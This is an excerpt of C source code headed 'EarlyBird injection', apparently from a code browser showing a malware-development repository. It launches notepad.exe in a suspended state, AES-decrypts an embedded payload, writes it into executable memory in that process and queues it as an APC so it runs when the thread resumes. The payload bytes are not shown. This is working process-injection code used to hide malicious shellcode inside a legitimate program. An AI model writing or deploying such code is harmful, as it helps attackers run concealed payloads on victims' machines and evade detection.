EarlyBird injection
| 185 | |
| 186 | // EarlyBird injection |
| 187 | int main(void) { |
| 188 | |
| 189 | int pid = 0; |
| 190 | HANDLE hProc = NULL; |
| 191 | |
| 192 | STARTUPINFO si; |
| 193 | PROCESS_INFORMATION pi; |
| 194 | void * pRemoteCode; |
| 195 | |
| 196 | ZeroMemory( &si, sizeof(si) ); |
| 197 | si.cb = sizeof(si); |
| 198 | ZeroMemory( &pi, sizeof(pi) ); |
| 199 | |
| 200 | CreateProcessA(0, "notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi); |
| 201 | |
| 202 | // Decrypt and inject payload |
| 203 | AESDecrypt((char *) payload, payload_len, (char *) key, sizeof(key)); |
| 204 | |
| 205 | // Allocate memory for payload and throw it in |
| 206 | pRemoteCode = VirtualAllocEx(pi.hProcess, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ); |
| 207 | WriteProcessMemory(pi.hProcess, pRemoteCode, (PVOID) payload, (SIZE_T) payload_len, (SIZE_T *) NULL); |
| 208 | |
| 209 | QueueUserAPC((PAPCFUNC)pRemoteCode, pi.hThread, NULL); |
| 210 | |
| 211 | printf("pload = %p ; remcode = %p\nReady to roll!\n", payload, pRemoteCode); |
| 212 | getchar(); |
| 213 | ResumeThread(pi.hThread); |
| 214 | |
| 215 | return 0; |
| 216 | } |
nothing calls this directly
no test coverage detected